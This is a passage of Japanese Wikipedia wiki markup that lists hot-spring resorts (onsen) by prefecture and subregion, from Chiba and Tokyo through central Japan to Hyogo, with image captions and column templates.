**鵜原温泉
**勝浦うばら温泉
**外房の湯温泉
**三日月温泉
**湯場の原温泉
*[[鴨川温泉郷]]([[鴨川市]])
**[[曽呂温泉]]
**太海湯元温泉
**粟斗温泉
**小湊温泉
**白岩温泉
**宮下温泉
*[[亀山温泉]]([[君津市]])
*[[七里川温泉]](君津市)
*[[小糸川温泉]](君津市)
*[[白壁の湯]](君津市)
*[[濃溝温泉]](君津市)
*[[富津温泉]]([[富津市]])
*[[青堀温泉]](富津市)
*[[鋸山金谷温泉]](富津市)
*[[安房温泉]]([[鋸南町]])
<!-- *[[濃溝温泉]] -->
{{-}}<div>[[ファイル:養老渓谷温泉「川の家」P1010109漫画家のつげ義春が宿泊.jpg|左|サムネイル|200x200ピクセル|養老渓谷温泉]]</div>
{{div col end}}
===銚子・九十九里地方===
{{div col|cols=4}}
*[[犬吠埼温泉]]([[銚子市]])
**潮の湯温泉
*[[飯岡温泉]]([[旭市]])
**飯岡ラジウム温泉
*[[矢指ヶ浦温泉]](旭市)
*[[旭九十九里温泉]](旭市)
*[[鳴涛温泉]]([[山武市]])
*[[白子温泉]]([[白子町]])
<div>[[ファイル:Shirako, Chiba1.jpg|左|サムネイル|200x200ピクセル|白子温泉]]</div>
<!-- *[[柏湯元温泉]] -->
<!-- *[[成田温泉]] -->
<!-- *[[手賀沼温泉]] -->
<!-- *[[銚子温泉]] -->
<!-- *[[湊温泉]] -->
{{div col end}}
==東京都==
===本州島===
{{div col|cols=4}}
*[[大手町温泉]]
*[[岩蔵温泉]]
*[[板橋温泉]]
*[[数馬温泉]]
*[[浅草観音温泉]]
*[[平和島]]温泉
*[[羽田エアポートガーデン|羽田空港泉天空温泉]]
*[[高井戸]]天然温泉
*[[瀬田]]温泉
*渋谷笹塚温泉
*大谷田温泉
*東京天然温泉
*[[湯楽の里|昭島温泉]]
*[[府中市 (東京都)#温泉|府中温泉]]
*[[秋川渓谷瀬音の湯|秋川温泉]]
*[[鶴の湯温泉 (東京都)|鶴の湯温泉]]
*[[大田区の黒湯温泉|蒲田温泉]]
*[[豊島園 庭の湯|豊島園温泉]]
*[[ラクーア|小石川温泉]]
*[[稲城]]天然温泉
*[[青梅市|青梅]]河辺温泉
*[[深大寺]]温泉
*[[仙川]]温泉
*小平天然温泉
*町田天然温泉
*村山温泉
*檜原温泉
*[[蛇の湯温泉]]
*[[京王高尾山温泉]]
<div>[[ファイル:鶴の湯温泉.jpg|thumb|left|200x200px|鶴の湯温泉]]</div>
{{div col end}}
===伊豆諸島===
{{div col|cols=4}}
*[[大島温泉]]
*[[新島#その他|間々下温泉]]([[新島]])
*[[八丈島温泉]]
*[[地鉈温泉]]([[式根島]])
*[[式根島#観光|足付温泉]]([[式根島]])
{{div col end}}
==神奈川県==
{{div col|cols=4}}
*[[箱根温泉|箱根温泉郷]]
**[[姥子温泉]]
**[[箱根湯本温泉]]
**[[塔ノ沢温泉]]
**[[箱根温泉#箱根十七湯|大平台温泉]]
**[[宮ノ下温泉]]
**[[底倉温泉]]
**[[箱根温泉#箱根七湯|木賀温泉]]
**[[箱根温泉#箱根七湯|堂ヶ島温泉]]
**[[強羅温泉]]
**[[箱根温泉#箱根二十湯|早雲山温泉]]
**[[小涌谷温泉]]
**[[箱根温泉#箱根二十湯|大涌谷温泉]]
**[[仙石原温泉]]
**[[箱根温泉#箱根七湯|芦之湯温泉]]
**[[芦ノ湖温泉]]
**[[湖尻温泉]]
**[[箱根温泉#箱根十七湯|宮城野温泉]]
**[[二ノ平温泉]]
**[[箱根温泉#箱根十七湯|湯ノ花沢温泉]]
**[[蛸川温泉]]
*[[七沢温泉]]
**[[かぶと湯温泉]]
**[[広沢寺温泉]]
*[[半原温泉]]
*[[中川温泉]]
*[[鶴巻温泉]]
*[[藤野温泉]]
*[[綱島温泉]]
*[[根府川温泉]]
*[[湯河原温泉]]
*[[江の島温泉]]
*[[稲村ヶ崎温泉]]
*[[大磯温泉]]
*[[平塚温泉]]
*[[阿部倉温泉]]
*[[佐野天然温泉]]
*[[大矢部温泉]]
*[[野比温泉]]
*[[三浦マホロバ温泉]]
*[[伊勢原温泉]]
*[[あしがら温泉]]
*[[飯山温泉]]
*[[秦野温泉]]
*[[油壺温泉]]
*[[川崎有馬温泉]]
{{-}}<div>[[ファイル:Hakone yumoto onsen 2.jpg|thumb|left|200x200px|箱根湯本温泉街]]</div>
{{-}}<div>[[ファイル:Dopponoyu01.jpg|thumb|left|200x200px|湯河原温泉]]</div>
{{div col end}}
==新潟県==
===上越地方===
{{div col|cols=4}}
*[[妙高高原温泉郷]]
**[[赤倉温泉 (新潟県)|赤倉温泉]]
**[[新赤倉温泉]]
**[[関温泉]]
**[[池の平温泉 (妙高市)|池の平温泉]]
**[[妙高温泉]]
**[[燕温泉]]
**[[杉野沢温泉]]
*[[雨飾温泉]]
*[[鵜の浜温泉]]
*[[焼山温泉 (新潟県)|焼山温泉]]
*[[笹倉温泉]]
*[[蓮華温泉]]
*[[姫川温泉]]
*[[蒲原温泉]]
*[[糸魚川温泉]]
*[[柵口温泉]]
{{div col end}}
===中越地方===
{{div col|cols=4}}
*[[越後湯沢温泉]]
*[[貝掛温泉|{{ruby|貝掛|かいかけ}}温泉]]
*[[湯之谷温泉郷|{{ruby|湯之谷|ゆのたに}}温泉]]
**[[湯之谷温泉郷#大湯温泉|大湯温泉]]
**[[湯之谷温泉郷#駒の湯温泉(こまのゆ)|駒の湯温泉]]
*[[六日町温泉]]
*[[大沢山温泉]]
*[[広田温泉 (新潟県)|広田温泉]]
*[[柏崎温泉]]
*[[西谷温泉|{{ruby|西谷|にしだに}}温泉]]
*[[蓬平温泉|{{ruby|蓬平|よもぎひら}}温泉]]
*[[越後長野温泉]]
*[[赤湯温泉 (新潟県)|赤湯温泉]]
*[[五十沢温泉]]
*[[馬越温泉]]
*[[塩ノ入温泉]]
*[[かまぶろ温泉]]
*[[三島谷温泉]]
*[[寺泊温泉郷]]
**[[寺泊岬温泉]]
*[[桂温泉]]
*[[畔地温泉]]
*[[まつだい芝峠温泉]]
*[[逆巻温泉]]
*[[松之山温泉]]
*[[清津峡温泉]]
{{-}}<div>[[ファイル:KaikakeOnsen1.jpg|thumb|left|200x200px|貝掛温泉]]</div>
{{div col end}}
===下越地方===
{{div col|cols=4}}
*[[月岡温泉]]
*[[新胎内温泉]]
*[[瀬波温泉]]
*[[岩室温泉]]
*[[弥彦温泉]]
*[[咲花温泉|{{ruby|咲花|さきはな}}温泉]]
*[[奥阿賀温泉郷]]
**[[麒麟山温泉]]
**[[三川温泉]]
**[[津川温泉]]
**[[かのせ温泉]]
**[[角神温泉]]
**[[御神楽温泉]]
**[[七福温泉]]
*[[塩の湯温泉 (新潟県)|塩の湯温泉]]
*[[湯田上温泉|{{ruby|湯田上|ゆたがみ}}温泉]]
*[[五頭温泉郷]]
**[[村杉温泉]]
**[[今板温泉]]
**[[出湯温泉]]
*[[勝木ゆり花温泉]]
*[[荒川峡温泉郷]]
**[[高瀬温泉]]
**[[雲母温泉]]
**[[鷹ノ巣温泉]]
*[[佐渡島の温泉地一覧|佐渡島の温泉地]]([[佐渡市]])
**[[両津温泉郷]]
{{-}}<div> [[File:160717 Tsukioka Onsen Shibata Niigata pref Japan21s3.jpg|thumb|left|200x200px|月岡温泉]]</div>
{{div col end}}
==富山県==
=== 東部(新川地区) ===
{{div col|cols=4}}
*[[宇奈月温泉]]
*[[金太郎温泉]]
*[[天神山温泉]]
*[[小川温泉 (富山県)|小川温泉]]
*[[生地温泉]]
*[[黒薙温泉]]
*[[黒部川明日温泉]]
*[[鐘釣温泉]]
*[[名剣温泉]]
*[[祖母谷温泉]]
*[[東谷温泉]]
*[[地獄谷 (立山町)|地獄谷温泉]]
*[[みくりが池温泉]]
*[[立山温泉]]
*[[大谷温泉 (富山県)|大谷温泉]]
*[[北山鉱泉]]
*[[立山グリーンパーク吉峰|立山吉峰温泉]]
*[[下田温泉 (富山県)|下田温泉]]
*[[みのわテニス村|みのわ温泉]]([[早月川温泉]])
*[[大岩湯神子温泉]]
*[[大岩不動の湯]]
<div>[[ファイル:Unaduki Onsens.jpg|thumb|left|200x200px|宇奈月温泉]]</div>
{{div col end}}
=== 富山市 ===
{{div col|cols=4}}
*[[新湯]]
*[[下の茗温泉]]
*[[大長谷温泉]]
*[[高天原温泉]]
*[[立山温泉|立山山麓温泉]]
*[[粟巣野温泉]](森の風立山)
*[[牛岳温泉]]
*[[呉羽山温泉]]
*[[鯰温泉]]
*[[音川温泉]]
*[[山田温泉 (富山県)|山田温泉]]
*[[亀谷温泉]]
*[[春日温泉 (富山県)|春日温泉]]
*[[水橋温泉]]
*[[神通峡岩稲温泉]]
*[[長八温泉]]
{{div col end}}
=== 西部 ===
{{div col|cols=4}}
*[[法林寺温泉]]
*[[寺尾温泉]]
*[[林道温泉]]
*[[福光華山温泉]]
*[[川合田温泉]]
*[[大牧温泉]]
*[[岩井戸温泉 (富山県)|岩井戸温泉]]
*[[宮島温泉]]
*[[湯谷温泉 (砺波市)|庄川湯谷温泉]]
*[[庄川温泉郷]]
*[[神代温泉]]
*[[氷見温泉]]
*[[阿尾の浦温泉]]
*[[五箇山温泉]]
*[[新五箇山温泉]]
<div>[[ファイル:Ohmaki spa Toyama,JAPAN.JPG|thumb|left|200x200px|大牧温泉]]</div>
{{div col end}}
==石川県==
===加賀地方===
{{div col|cols=4}}
*[[加賀温泉郷]]
**[[山代温泉]]
**[[山中温泉]]
**[[粟津温泉]]
**[[片山津温泉]]
*白山温泉郷
**[[河内千丈温泉]]
**[[白山一里野温泉]]
**[[中宮温泉]]
**[[白峰温泉]]
**[[白山杉の子温泉]]
**[[新岩間温泉]]
*金沢温泉郷
**[[湯涌温泉]]
**[[深谷温泉]]
**[[犀川峡温泉]]
**[[曲水温泉]]
*[[銭がめ温泉]]
*[[白鳥路温泉]]
*[[美川温泉]]
*[[辰口温泉]]
*[[加賀三谷温泉]]
*[[オータム天然温泉]]
<div>[[ファイル:131109 Yuwaku Onsen Kanazawa Ishikawa pref Japan05s5.jpg|thumb|left|200x200px|湯桶温泉]]</div>
{{div col end}}
===能登地方===
{{div col|cols=4}}
*[[和倉温泉]]
*[[葭ヶ浦温泉|{{ruby|葭ヶ浦|よしがうら}}温泉]]
*[[輪島温泉|能登輪島温泉]]
*[[ねぶた温泉]]
*[[縄文真脇温泉|{{ruby|縄文真脇|じょうもんまわき}}温泉]]
*[[志賀の郷温泉]]
*[[赤崎温泉]]
*[[湯川温泉 (石川県)|{{ruby|湯川|ゆがわ}}温泉]]
*[[千里浜やわらぎ温泉]]
*[[柳田温泉]]
<div>[[ファイル:Wakura Onsen 01.jpg|thumb|left|200x200px|和倉温泉]]</div>
{{div col end}}
==福井県==
{{div col|cols=4}}
*[[芦原温泉|{{ruby|芦原|あわら}}温泉]]
*[[東尋坊温泉]]
*[[三国温泉|{{ruby|三国|みくに}}温泉]]
*[[越前玉川温泉]]
*[[越前厨温泉|越前{{ruby|厨|くりや}}温泉]]
*[[大安寺温泉|{{ruby|大安寺|だいあんじ}}温泉]]
*[[佐野温泉]]
*[[敦賀トンネル温泉]]
*[[鳩ヶ湯]]
*[[花はす温泉]]
*[[花みずき温泉]]
*[[虹岳島温泉|{{ruby|虹岳島|こがしま}}温泉]]
*[[鷹巣温泉|{{ruby|鷹巣|たかす}}温泉]]
*[[六呂師温泉]]
*[[今庄365温泉]]
*[[九頭竜温泉]]
<div>[[ファイル:Echizen tamagawa hotspring.JPG|thumb|left|200x200px|越前玉川温泉]]</div>
{{div col end}}
==山梨県==
{{div col|cols=4}}
*[[赤石温泉 (山梨県)|赤石温泉]]
*[[石和温泉郷]]
**[[石和温泉|{{ruby|石和|いさわ}}温泉]]
**[[春日居温泉]]
***[[日の出温泉 (山梨県)|日の出温泉]]
*[[岩下温泉]]
*[[塩山温泉]]
*[[甲府盆地中西部の温泉]]
**[[神の湯温泉]]
**[[フカサワ温泉]]
**[[山口温泉]]
*[[川浦温泉]]
*[[甲斐大泉温泉]]
*[[甲府温泉]]
*[[ほったらかし温泉]]
*[[裂石温泉|{{ruby|裂石|さけいし}}温泉]]
*[[佐野川温泉]]
*[[下部温泉|{{ruby|下部|しもべ}}温泉]]
*[[信玄の湯 湯村温泉]]
*[[湯沢温泉 (山梨県)|湯沢温泉]]
*[[正徳寺温泉]]
*[[積翠寺温泉]]
*[[鼓川温泉]]
*[[奈良田温泉]]
*[[南部アルカディア温泉]]
*[[西山温泉 (山梨県)|西山温泉]]
*[[はやぶさ温泉]]
*[[富士河口湖温泉郷]]
*[[真木温泉]]
*[[増富温泉|増富ラジウム温泉]]
*[[三富温泉]]
*[[藪の湯温泉]]
*[[山中湖温泉]]
*[[三条の湯]]
*[[葭之池温泉]]
*[[御座石鉱泉]]
*[[嵯峨塩鉱泉]]
*[[芦安温泉]]
*[[船山温泉]]
*[[奥山温泉]]
*[[韮崎旭温泉]]
*[[田野温泉]]
*[[雨畑湖温泉]]
*[[穴山温泉]]
*[[富士山温泉]]
*[[十枚荘温泉]]
*[[光源の里温泉]]
{{-}}<div>[[ファイル:Isawa Spa Town Aug.2013.JPG|thumb|left|200x200px|石和温泉]]</div>
{{-}}<div>[[ファイル:Shimobe-onsen.jpg|thumb|left|200x200px|下部温泉]]</div>
{{div col end}}
==長野県==
===北信地方===
<!--位置北から-->
{{div col|cols=4}}
*[[中条温泉 トマトの国|{{ruby|中条|なかじょう}}温泉]]
*[[北野天満温泉]]
*[[上野原温泉]]
*[[和山温泉|{{ruby|和山|わやま}}温泉]]
*[[切明温泉|{{ruby|切明|きりあけ}}温泉]]
*[[小赤沢温泉]]
*[[屋敷温泉]]
*[[いいやま湯滝温泉]]
*[[野沢温泉]]
*[[戸狩温泉|{{ruby|戸狩|とがり}}温泉]]
*[[戸隠神告げ温泉]]
*[[瑞穂温泉]]
*[[鬼島温泉]]
*[[池の平温泉 (木島平村)|{{ruby|池ノ平|いけのたいら}}温泉]]
*[[よませ温泉]]
*[[竜王温泉]]
*[[長嶺温泉|{{ruby|長嶺|ながみね}}温泉]]
*[[松代温泉]](加賀井温泉)
*[[山の神温泉 (長野県)|山の神温泉]]
*[[信州高山温泉郷]]
**[[五色温泉 (長野県)|{{ruby|五色|ごしき}}温泉]]
**[[山田温泉 (長野県)|山田温泉]]
**[[七味温泉]]
**[[蕨温泉]]
**[[奥山田温泉]]
**[[松川渓谷温泉]]
**[[子安温泉]]
*[[馬曲温泉|{{ruby|馬曲|まぐせ}}温泉]]
*[[戸倉上山田温泉|{{ruby|戸倉|とぐら}}上山田温泉]]
*[[高天ヶ原マンモススキー場#温泉|{{ruby|高天ヶ原|たかはまがはら}}温泉]]
*[[北志賀温泉]]
*[[木戸池温泉]]
*[[熊の湯温泉]]
*[[ジャイアントスキー場#施設・サービス|志賀山温泉]]
*[[硯川温泉|{{ruby|硯川|すずりかわ}}温泉]]
*[[発哺温泉|{{ruby|発哺|ほっぽ}}温泉]]
*[[幕岩温泉|{{ruby|幕岩|まくいわ}}温泉]]
*[[丸池温泉]]
*[[湯田中渋温泉郷]]
**[[安代温泉|{{ruby|安代|あんだい}}温泉]]
**[[角間温泉 (山ノ内町)|角間温泉]]
**[[上林温泉|{{ruby|上林|かんばやし}}温泉]]
**[[沓野温泉|{{ruby|沓野|くつの}}温泉]]
**[[地獄谷温泉 (長野県)|地獄谷温泉]]
**[[渋温泉]]
**[[新湯田中温泉|{{ruby|新湯田中|しんゆだなか}}温泉]]
**[[星川温泉]]
**[[穂波温泉]]
**[[湯田中温泉|{{ruby|湯田中|ゆだなか}}温泉]]
*[[湯俣温泉]]
{{-}}<div>[[ファイル:Jigokudani_hotspring_in_Nagano_Japan_002.jpg|thumb|200x200px|left|地獄谷温泉 (長野県)]]</div>
{{div col end}}
===中信地方===
{{div col|cols=4}}
*[[浅間温泉]]
*[[美ヶ原温泉|{{ruby|美ヶ原|うつくしがはら}}温泉]]
*[[上高地温泉]]
*[[のりくら温泉郷]]
**[[乗鞍高原温泉|{{ruby|乗鞍|のりくら}}高原温泉]]
*[[白骨温泉|{{ruby|白骨|しらほね}}温泉]]
*[[崖の湯温泉]]
*[[沢渡温泉 (長野県)|{{ruby|沢渡|さわんど}}温泉]]<ref group="注">群馬県の沢渡温泉と混同注意。</ref>
*[[中の湯温泉]]
*[[坂巻温泉]]
*[[赤怒谷温泉|{{ruby|赤怒田|あかぬた}}温泉]]
*[[白馬八方温泉]]
*[[白馬鑓温泉]]
*[[葛温泉]]
*[[小谷温泉|{{ruby|小谷|おたり}}温泉]]
*[[奉納温泉]]
*[[豊科温泉|{{ruby|豊科|とよしな}}温泉]]
*[[中房温泉]]
*[[穂高温泉]]
*[[すずむし荘|{{ruby|馬羅尾天狗岩|ばろおてんぐいわ}}温泉]]
*[[大町温泉郷]]
*[[扉温泉]]
*[[姫川温泉]]
{{div col end}}
===東信地方===
{{div col|cols=4}}
*[[鹿教湯温泉|{{ruby|鹿教湯|かけゆ}}温泉]]
*[[霊泉寺温泉|{{ruby|霊泉寺|れいせんじ}}温泉]]
*[[大塩温泉 (長野県)|大塩温泉]]
*[[別所温泉]]
*[[田沢温泉]]
*[[沓掛温泉]]
*[[本沢温泉]]
*[[松原湖温泉]]
*[[星野温泉]]
*[[中棚温泉|{{ruby|中棚|なかたな}}温泉]]
*[[高峰温泉]]
*[[初谷温泉|{{ruby|初谷|しょや}}温泉]]
*[[角間温泉 (上田市)|角間温泉]]
*[[春日温泉 (長野県)|春日温泉]]
*[[布施温泉]]
*[[佐久ホテル|旭湯温泉]]
*[[あさしな温泉]]
*[[菱野温泉]]
*[[稲子湯温泉]]
{{div col end}}
===南信地方===
{{div col|cols=4}}
*[[上諏訪温泉]]
*[[下諏訪温泉]]
*[[毒沢温泉|{{ruby|毒沢|どくさわ}}温泉]]
*[[蓼科温泉郷]]
**[[蓼科温泉郷#蓼科温泉郷の各温泉|蓼科三室温泉]]
**[[芹ヶ沢温泉]]
*[[奥蓼科温泉郷]]
**[[渋御殿湯温泉]]
**[[横谷温泉]]
**[[明治温泉]]
*[[早太郎温泉|{{ruby|早太郎|はやたろう}}温泉]]
*[[昼神温泉|{{ruby|昼神|ひるがみ}}温泉]]
*[[天竜峡温泉]]
*[[池の平温泉 (立科町)|池の{{ruby|平|たいら}}温泉]]
*[[小渋温泉|{{ruby|小渋|こしぶ}}温泉]]
*[[鹿塩温泉|{{ruby|鹿塩|かしお}}温泉]]
*[[唐沢鉱泉|{{ruby|唐沢|からさわ}}鉱泉]]
*[[赤岳鉱泉]]
{{-}}<div>[[ファイル:Suwa_Hotspring_in_Nagano_Japan_001.JPG|thumb|200x200px|left|[[間欠泉]]</div> 上諏訪温泉]]
{{div col end}}
==岐阜県==
===飛騨地方===
{{div col|cols=4}}
*[[下呂温泉|{{ruby|下呂|げろ}}温泉]]
*[[小坂温泉郷|{{ruby|小坂|おさか}}温泉]]
**[[濁河温泉|{{ruby|濁河|にごりご}}温泉]]
**[[湯屋温泉]]
**[[下島温泉]]
*[[奥飛騨温泉郷]]
**[[平湯温泉]]
**[[福地温泉]]
**[[新平湯温泉]]
**[[栃尾温泉]]
**[[新穂高温泉]]
*[[秋神温泉]]
*[[白川郷平瀬温泉]]
*[[白川郷平瀬温泉#源泉|大白川温泉]]
*[[白川郷の湯|白川郷温泉]]
*[[割石温泉]]
*[[流葉温泉]]
*[[飛騨古川桃源郷温泉]]
*[[馬狩・地球の聲温泉]]
*[[宇津江四十八滝温泉]]
*[[飛騨にゅうかわ温泉]]
*[[飛騨高山温泉]]
*[[胡桃島温泉]]
*[[道の駅桜の郷 荘川|飛騨荘川温泉]]
*[[南飛騨健康増進センター|飛騨川温泉]]
*[[道の駅飛騨金山ぬく森の里温泉|飛騨金山温泉]]
*[[飛騨まんが王国|宮川温泉]]
*[[塩沢温泉 (岐阜県)|塩沢温泉]]
*[[南飛騨馬瀬川温泉]]
{{-}}<div>[[ファイル:Hirayu onsen01n3872.jpg|thumb|left|200x200px|平湯温泉]]</div>
{{div col end}}
===岐阜地方===
{{div col|cols=4}}
*[[長良川温泉]]
*[[三田洞神仏温泉]]
*[[うすずみ温泉]]
*[[羽島温泉]]
{{-}}<div>[[ファイル:Gifu Grand Hotel01.JPG|thumb|left|200x200px|長良川温泉]]</div>
{{div col end}}
===西濃地方===
{{div col|cols=4}}
*[[道の駅星のふる里ふじはし|いび川温泉]]
*[[久瀬温泉]]
*[[安八温泉]]
*[[池田温泉]]
*[[南濃温泉]]
*[[海津温泉]]
{{-}}<div>[[ファイル:Nannou-spring-Zenkei4jawp.jpg|thumb|left|200x200px|南濃温泉]]</div>
{{div col end}}
===中濃地方===
{{div col|cols=4}}
*[[牧歌の里|牧歌の里温泉]]
*[[明宝温泉]]
*[[母袋温泉]]
*[[郡上温泉]]
*[[みなみ子宝温泉駅|日本まん真ん中温泉]]
*[[神明温泉]]
*[[板取川温泉]]
*[[武芸川温泉]]
*[[白川温泉 (岐阜県)|白川温泉]]
*[[道の駅美濃白川|新白川温泉]]
*[[三峰温泉]]
*[[道の駅古今伝授の里やまと|やまと温泉]]
{{div col end}}
===東濃地方===
{{div col|cols=4}}
*[[渡合温泉]]
*[[ローソク温泉]]
*[[付知峡倉屋温泉おんぽいの湯|付知峡倉屋温泉]]
*[[岩寿温泉]]
*[[東山温泉 (岐阜県)|東山温泉]]
*[[中津川温泉クアリゾート湯舟沢|中津川温泉]]
*[[恵那峡温泉]]
*[[恵那ラジウム温泉]]
*[[鹿之湯温泉]]
*[[花白温泉]]
*[[串原温泉]]
*[[白狐温泉]]
*[[釜戸温泉]]
*[[稲荷温泉]]
*[[バーデンパークSOGI|曽木温泉]]
*[[山神温泉]]
*[[柿野温泉]]
*[[鬼岩温泉]]
{{div col end}}
==静岡県==
===東伊豆地方===
{{div col|cols=4}}
*[[伊豆湯河原温泉]]
*[[熱海温泉]]
**[[網代温泉]]
**[[伊豆山温泉]]
**[[伊豆多賀温泉]]
**[[網代温泉]]
*[[伊東温泉]]
**[[宇佐美温泉]]
**[[伊豆高原温泉]]
*[[赤沢温泉]]
*[[大川温泉]]
*[[北川温泉 (静岡県)|{{ruby|北川|ほっかわ}}温泉]]
*[[熱川温泉]]
*[[片瀬温泉]]
*[[白田温泉]]
*[[稲取温泉]]
<div>[[ファイル:Atami 20120915 c.jpg|thumb|left|200x200px|熱海温泉]]</div>
{{div col end}}
===南伊豆地方===
{{div col|cols=4}}
*[[下田温泉 (静岡県)|下田温泉]]
**[[蓮台寺温泉]]
*[[湯ヶ野温泉]]
*[[下賀茂温泉]]
*河津温泉郷
**[[河津七滝温泉]]
**[[峰温泉]]
**[[今井浜温泉]]
*[[弓ヶ浜温泉 (静岡県)|弓ヶ浜温泉]]
{{div col end}}
===中伊豆地方===
{{div col|cols=4}}
*[[伊豆長岡温泉]]
**長岡温泉
**古奈温泉
*[[修善寺温泉|{{ruby|修善寺|しゅぜんじ}}温泉]]
*天城湯ヶ島温泉郷
**[[湯ヶ島温泉]]
**[[船原温泉]]
**[[吉奈温泉]]
**[[嵯峨沢温泉]]
**[[青羽根温泉]]
*畑毛温泉郷
**[[畑毛温泉]]
**[[奈古谷温泉]]
**[[函南温泉]]
*[[大仁温泉]]
*[[韮山温泉]]
*中伊豆温泉郷
**[[白岩温泉]]
**冷川温泉
{{div col end}}
===西伊豆地方===
{{div col|cols=4}}
*[[土肥温泉|{{ruby|土肥|とい}}温泉]]
**[[小土肥温泉|{{ruby|小土肥|おどい}}温泉]]
**[[八木沢温泉]]
*[[堂ヶ島温泉]]郷
**堂ヶ島温泉
**田子温泉
**宇久須温泉
*[[松崎温泉]]郷
**松崎温泉
**[[雲見温泉]]
**[[岩地温泉]]
**[[石部温泉]]
**[[大沢温泉 (静岡県)|大沢温泉]]
*[[戸田温泉|{{ruby|戸田|へだ}}温泉]]
{{div col end}}
===伊豆半島以外の地方===
{{div col|cols=4}}
*[[寸又峡温泉]]
*[[舘山寺温泉]]
*梅ヶ島温泉郷
**[[梅ヶ島温泉]]
**梅ヶ島新田温泉
**梅ヶ島金山温泉
**[[梅ヶ島コンヤ温泉]]
*[[倉真温泉|{{ruby|倉真|くらみ}}温泉]]
*[[弁天島温泉]]
*[[法泉寺温泉]]
*[[さがら子生れ温泉]]
*[[油山温泉]]
*[[焼津黒潮温泉|焼津温泉]]
*[[接岨峡温泉]]
*[[道の駅川根温泉|川根温泉]]
*[[芝川温泉]]
<div>[[ファイル:Kanzanji-hotspring.jpg|thumb|left|200x200px|舘山寺温泉]]</div>
{{div col end}}
==愛知県==
{{div col|cols=4}}
*[[湯谷温泉 (愛知県)|湯谷温泉]]
*[[三谷温泉]]
*[[西浦温泉]]
*[[蒲郡温泉]]
*[[飛島温泉]]
*[[尾張温泉]]
*[[添沢温泉]]
*[[形原温泉]]
*[[内津温泉]]
*[[稲武夏焼温泉|{{ruby|稲武夏焼|いなぶなつやけ}}温泉]]
*[[吉良温泉]]
*[[南知多温泉郷]]
*[[笹戸温泉]]
*[[小渡温泉]]
*[[塩津温泉]]
*[[犬山温泉]]
<div>[[ファイル:Yuya Onsen.jpg|thumb|left|200x220px|湯谷温泉]]</div>
{{div col end}}
==三重県==
{{div col|cols=4}}
*[[木曽岬温泉]]
*[[長島温泉]]
*[[桑名天然温泉|桑名温泉]]
*[[多度温泉]]
*[[湯の山温泉 (三重県)|湯の山温泉]]
*[[榊原温泉]]
*[[火の谷温泉]]
*[[大山田温泉]]
*[[鍋田川温泉]]
*[[きいながしま古里温泉]]
*[[鈴鹿サーキット温泉]]
*[[鈴鹿さつき温泉]]
*[[湯ノ口温泉]]
*[[有久寺温泉|{{ruby|有久寺|ありくじ}}温泉]]
*[[猪の倉温泉]]
*[[赤目温泉]]
*[[奥香肌峡温泉]]
*[[答志島温泉]]
*<!-- [[安楽島温泉]] -->
*[[鳥羽小浜温泉]]
*<!-- [[石鏡温泉]] -->
*[[本浦温泉]]
*<!-- [[伊勢志摩神代温泉]] -->
*[[南勢桜山温泉]]
*[[志摩温泉郷]]
**[[浜島温泉]]
**[[阿児温泉]]
**[[都リゾート 奥志摩 アクアフォレスト|登茂山温泉]]
**[[NEMU RESORT|奥志摩温泉]]
**[[磯部わたかの温泉]]
*[[阿曽温泉]]
<div>[[ファイル:Inokura Spa Fuyōsō.jpg|thumb|left|200x200px|猪の倉温泉]]</div>
{{div col end}}
==滋賀県==
{{div col|cols=4}}
*[[雄琴温泉]](大津市)
*[[びわ湖温泉]]
*[[須賀谷温泉]]
*[[比良招福温泉]]
*[[長浜太閤温泉]]
*[[尾上温泉]]
*[[宝船温泉]]
*[[マキノ白谷温泉]]
{{-}}<div>[[ファイル:Yumotokan-Ogoto onsen & Ogoto port.jpg|thumb|left|200x200px|雄琴温泉]]</div>
{{div col end}}
==京都府==
{{div col|cols=4}}
*[[嵐山温泉]]
*[[岩滝温泉]]
*[[木津温泉|{{ruby|木津|きつ}}温泉]]
*[[久美の浜温泉]]
*[[久美浜シーサイド温泉]]
*[[あやべ温泉]]
*[[天橋立温泉]]
*[[福知山温泉]]
*[[夕日ヶ浦温泉]]
*[[宇川温泉]]
*[[湯の花温泉 (京都府)|湯の花温泉]]
*[[るり渓温泉]]
*[[京都竹の郷温泉]]
*[[大原温泉]]
*[[神野温泉]]
*[[奥伊根温泉]]
*[[鳴き砂温泉]]
*[[鞍馬温泉]]
<div>[[ファイル: Yuhigaura (3).jpg|thumb|left|200x200px|夕日ヶ浦温泉]]</div>
{{div col end}}
==大阪府==
{{div col|cols=4}}
*[[箕面温泉]]
*[[犬鳴山温泉|{{ruby|犬鳴山|いぬなきやま}}温泉]]
*[[牛滝温泉]]
*[[摂津峡温泉]]
*[[高槻樫田温泉]]
*[[長野温泉]]
*[[天見温泉|{{ruby|天見|あまみ}}温泉]]
*[[奥水間温泉|{{ruby|奥水間|おくみずま}}温泉]]
*[[汐の湯温泉]]
*[[伏尾温泉]]
*[[能勢温泉]]
*[[石切温泉]]
*[[山中渓温泉]]
<div>[[ファイル:MINOO-ONSEN.JPG|thumb|left|200x200px|箕面温泉]]</div>
{{div col end}}
==兵庫県==
===北部===
{{div col|cols=4}}
*[[城崎温泉]]([[豊岡市]])
*[[竹野温泉]](豊岡市)
*[[神鍋温泉]](豊岡市)
*[[シルク温泉]](豊岡市)
*[[浜坂温泉郷]]([[新温泉町]])
**[[七釜温泉]]
**[[浜坂温泉]]
**[[浜坂温泉郷#郷内の温泉|二日市温泉]]
*[[湯村温泉 (兵庫県)|湯村温泉]](新温泉町)
*[[おじろん]](小代温泉)([[香美町]])
*[[香住温泉郷]](香美町)
**[[香住温泉]]
**[[矢田川温泉]]
**[[佐津温泉]]
**[[柴山温泉]]
**[[余部温泉]]
*[[村岡温泉]](香美町)
*[[ハチ北温泉]](香美町)
*[[よふど温泉]]([[朝来市]])
*[[黒川温泉 (兵庫県)|黒川温泉]](朝来市)
{{div col end}}
===中部・南部===
{{div col|cols=4}}
*[[有馬温泉]]([[神戸市]])
*[[太山寺温泉]](神戸市)
*[[湊山温泉]](神戸市)
*[[宝塚温泉]]([[宝塚市]])
*[[武田尾温泉]](宝塚市)
*[[吉川温泉]]([[三木市]])
*[[竹乃湯温泉]](三木市)
*[[赤穂御崎温泉]]([[赤穂市]])
*[[塩田温泉]]([[姫路市]])
*[[雪彦温泉]](姫路市)
*[[洲本温泉]]([[洲本市]])
*[[こんだ薬師温泉]]([[丹波篠山市]])
*[[籠坊温泉]](丹波篠山市)
*[[白雲谷温泉]]([[小野市]])
*[[鍬渓温泉]](小野市)
*[[加古川温泉]](加古川市)
*[[生谷温泉]]([[宍粟市]])
*[[一宮温泉]](宍粟市)
*[[かさがた温泉せせらぎの湯|笠形温泉]]([[市川町]])
